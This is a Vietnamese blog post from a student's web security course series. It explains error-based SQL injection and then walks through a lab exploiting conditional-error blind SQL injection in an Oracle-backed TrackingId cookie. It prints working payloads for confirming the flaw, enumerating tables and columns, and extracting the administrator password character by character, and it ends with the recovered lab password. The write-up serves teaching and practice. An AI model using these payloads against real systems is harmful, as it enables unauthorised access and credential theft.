Chuyển đến nội dung chính
  1. Nghiên cứu & Ghi chép kỹ thuật/

Blind SQL Injection - Error SQL Injection

·1461 từ·7 phút
Nguyễn Hoàng Thanh Phong
Tác giả
Nguyễn Hoàng Thanh Phong
Sinh viên năm cuối ngành An toàn thông tin tại Đại học FPT. Chuyên nghiên cứu khai thác lỗ hổng bảo mật Web, kiến trúc bảo mật AWS và các công cụ tự động hóa
Web Security IAW301 - Bài viết này là một phần của loạt bài.
Phần 10: Bài viết này

Câu hỏi & Trả lời
#

1. Tấn công Error-Based SQL Injection là gì, và nó khác gì so với các loại SQL injection khác?

Error-Based SQL Injection là một dạng tấn công SQL injection trong đó kẻ tấn công cố ý kích hoạt các thông báo lỗi từ cơ sở dữ liệu để thu thập thông tin về cấu trúc database, chẳng hạn như tên bảng, tên cột hoặc logic truy vấn. Khác với blind SQL injection, vốn yêu cầu suy luận dựa trên hành vi của ứng dụng, error-based SQL injection có thể trực tiếp tiết lộ thông tin hữu ích thông qua các thông báo lỗi database hiển thị ra bên ngoài.

2. Giải thích khái niệm sử dụng lỗi database để trích xuất thông tin, và mô tả các dấu hiệu thường gặp cho thấy một ứng dụng web có thể dễ bị kiểu tấn công này.

Kẻ tấn công sử dụng các input được tạo đặc biệt để khiến database trả về các thông báo lỗi chi tiết. Những lỗi này có thể tiết lộ loại database, cú pháp SQL, tên bảng hoặc các thông tin nội bộ khác. Các dấu hiệu thường gặp bao gồm thông báo lỗi SQL hiển thị trực tiếp, stack trace của database, trang lỗi bất thường sau khi nhập các ký tự đặc biệt như ' hoặc ", và các thông báo đề cập đến cú pháp SQL, database driver hoặc lỗi thực thi truy vấn.

Blind SQL injection với lỗi có điều kiện
#

1. Mục tiêu của bài lab
#

Mục tiêu của bài lab này là khai thác một lỗ hổng blind SQL injection trong cookie TrackingId. Mục đích là trích xuất mật khẩu của người dùng administrator, sau đó đăng nhập bằng tài khoản này để hoàn thành bài lab.

2. Xác định điểm chèn mã SQL
#

Đầu tiên, tôi bắt request bằng Burp Suite và quan sát thấy ứng dụng sử dụng cookie TrackingId.

1
Cookie: TrackingId=<tracking-value>; session=<session-value>
Capture request

Tôi kiểm tra cookie TrackingId vì các tracking cookie thường được xử lý bởi các truy vấn SQL ở phía backend. Bằng cách chỉnh sửa giá trị cookie này trong Burp Repeater, tôi có thể quan sát các phản hồi khác nhau từ server tùy theo payload SQL được sử dụng.

Error quote

3. Xác nhận lỗi SQL Injection dạng Conditional Error-Based
#

Để xác nhận lỗ hổng, tôi sử dụng các payload SQL có điều kiện, được thiết kế để chỉ kích hoạt lỗi database khi điều kiện là đúng.

Payload sau gây ra lỗi internal server error:

1
' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual-- -
CASE WHEN 1=1

1=1 là điều kiện đúng, database sẽ đánh giá biểu thức TO_CHAR(1/0), dẫn đến lỗi chia cho 0. Kết quả là ứng dụng trả về:

1
500 Internal Server Error

Sau đó, tôi kiểm tra một điều kiện sai:

1
' UNION SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual-- -
CASE WHEN 1=2

1=2 là điều kiện sai, biểu thức gây lỗi không được thực thi và ứng dụng trả về trang bình thường.

Điều này xác nhận rằng ứng dụng dễ bị blind SQL injection với lỗi có điều kiện.

4. Xác nhận cú pháp database Oracle
#

Payload sử dụng cú pháp đặc trưng của Oracle, chẳng hạn như dualTO_CHAR(1/0). Tôi cũng kiểm tra một payload Oracle UNION SELECT đơn giản:

1
' UNION SELECT '1' FROM dual-- -
Compatible

Ứng dụng trả về phản hồi bình thường, xác nhận rằng SQL injection tương thích với cú pháp Oracle và truy vấn chỉ yêu cầu một cột trả về.

5. Liệt kê tên bảng
#

Sau khi xác nhận lỗ hổng conditional error-based SQL injection, tôi tiến hành liệt kê các bảng trong database để xác định nơi lưu trữ thông tin đăng nhập của người dùng. Vì backend database sử dụng cú pháp Oracle, tôi truy vấn view từ điển dữ liệu user_tables.

Payload sau được sử dụng để kiểm tra xem bảng có tên USERS có tồn tại hay không:

1
' AND 1=(SELECT CASE WHEN EXISTS(SELECT 1 FROM user_tables WHERE table_name LIKE 'USERS') THEN 1/0 ELSE 1 END FROM dual)-- -
Enumerate Table

Ứng dụng trả về 500 Internal Server Error. Điều này cho thấy điều kiện là đúng, vì database đã thực thi 1/0 và kích hoạt lỗi.

Do đó, tôi xác nhận rằng bảng USERS tồn tại trong schema Oracle hiện tại.

Bảng này sau đó được chọn làm mục tiêu để tiếp tục liệt kê, vì nhiều khả năng nó chứa thông tin tài khoản người dùng như username và password.

6. Liệt kê tên cột trong bảng USERS
#

Sau khi xác nhận rằng ứng dụng dễ bị conditional error-based SQL injection, tôi bắt đầu liệt kê tên các cột trong bảng USERS. Vì database là Oracle, tôi sử dụng view từ điển dữ liệu user_tab_columns để kiểm tra xem các tên cột cụ thể có tồn tại hay không.

Payload sau được sử dụng để kiểm tra xem cột có tên USER có tồn tại hay không:

1
' AND 1=(SELECT CASE WHEN EXISTS(SELECT 1 FROM user_tab_columns WHERE column_name='USER') THEN 1/0 ELSE 1 END FROM dual)-- -
Enumerate Fail Username

Ứng dụng trả về trang bình thường thay vì 500 Internal Server Error. Điều này có nghĩa là điều kiện sai, do đó cột USER không tồn tại.

Sau đó, tôi tiếp tục kiểm tra các tên cột khả thi khác, chẳng hạn như USERNAMEPASSWORD, cho đến khi server trả về 500 Internal Server Error. Phản hồi 500 cho biết tên cột được kiểm tra là tồn tại, vì điều kiện đúng đã kích hoạt lỗi chia cho 0 trong Oracle.

Enumerate Username Column
Enumerate Password Column

7. Xác định độ dài mật khẩu
#

Trước khi trích xuất mật khẩu, tôi xác định độ dài của mật khẩu bằng hàm LENGTH().

Payload sau được sử dụng:

1
' UNION SELECT CASE WHEN LENGTH(password)=20 THEN TO_CHAR(1/0) ELSE '' END FROM USERS WHERE username='administrator'-- -
Password length
Password length
Password length

Ứng dụng trả về 500 Internal Server Error, nghĩa là điều kiện là đúng. Do đó, độ dài mật khẩu được xác nhận là 20 ký tự.

8. Trích xuất mật khẩu từng ký tự một
#

Sau khi xác nhận độ dài mật khẩu, tôi trích xuất mật khẩu từng ký tự một bằng hàm SUBSTR().

Ví dụ, ký tự đầu tiên được kiểm tra bằng payload sau:

1
' UNION SELECT CASE WHEN SUBSTR(password,1,1)='s' THEN TO_CHAR(1/0) ELSE '' END FROM USERS WHERE username='administrator'-- -
Password enumerate

Nếu ký tự đoán là đúng, server trả về 500 Internal Server Error. Nếu ký tự đoán là sai, server trả về trang bình thường.

Phương pháp tương tự được lặp lại cho từng vị trí ký tự từ 1 đến 20.

9. Tự động hóa quá trình trích xuất bằng Turbo Intruder
#

Để tăng tốc quá trình trích xuất, tôi sử dụng Turbo Intruder để brute-force từng ký tự trong mật khẩu của tài khoản administrator. Script gửi các request với nhiều ký tự đoán khác nhau và xác định ký tự đúng bằng cách kiểm tra các phản hồi HTTP 500.

Turbo Intruder

Kết quả từ Turbo Intruder cho thấy các ký tự được trích xuất như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
1  s
2  p
3  1
4  g
5  b
6  k
7  w
8  u
9  l
10 y
11 1
12 h
13 8
14 h
15 p
16 y
17 u
18 a
19 j
20 g

Do đó, mật khẩu administrator khôi phục được là:

1
sp1gbkwuly1h8hpyuajg

10. Xác minh mật khẩu đầy đủ
#

Để xác minh mật khẩu đã trích xuất, tôi kiểm tra toàn bộ giá trị 20 ký tự bằng payload sau:

1
' UNION SELECT CASE WHEN SUBSTR(password,1,20)='sp1gbkwuly1h8hpyuajg' THEN TO_CHAR(1/0) ELSE '' END FROM USERS WHERE username='administrator'-- -
Test password

Ứng dụng trả về 500 Internal Server Error, xác nhận rằng mật khẩu đã trích xuất là chính xác.

11. Đăng nhập với tài khoản Administrator
#

Cuối cùng, tôi đăng nhập bằng thông tin đăng nhập đã khôi phục:

1
2
Username: administrator
Password: sp1gbkwuly1h8hpyuajg

Sau khi đăng nhập thành công, bài lab hiển thị trạng thái “Solved”.

Success

12. Kết luận
#

Bài lab này minh họa cách khai thác blind SQL injection với lỗi có điều kiện, ngay cả khi kết quả truy vấn database không được hiển thị trực tiếp trong phản hồi. Bằng cách sử dụng các payload error-based đặc trưng của Oracle với CASE WHEN, TO_CHAR(1/0), LENGTH()SUBSTR(), tôi có thể trích xuất mật khẩu administrator từng ký tự một và hoàn thành bài lab thành công.

Web Security IAW301 - Bài viết này là một phần của loạt bài.
Phần 10: Bài viết này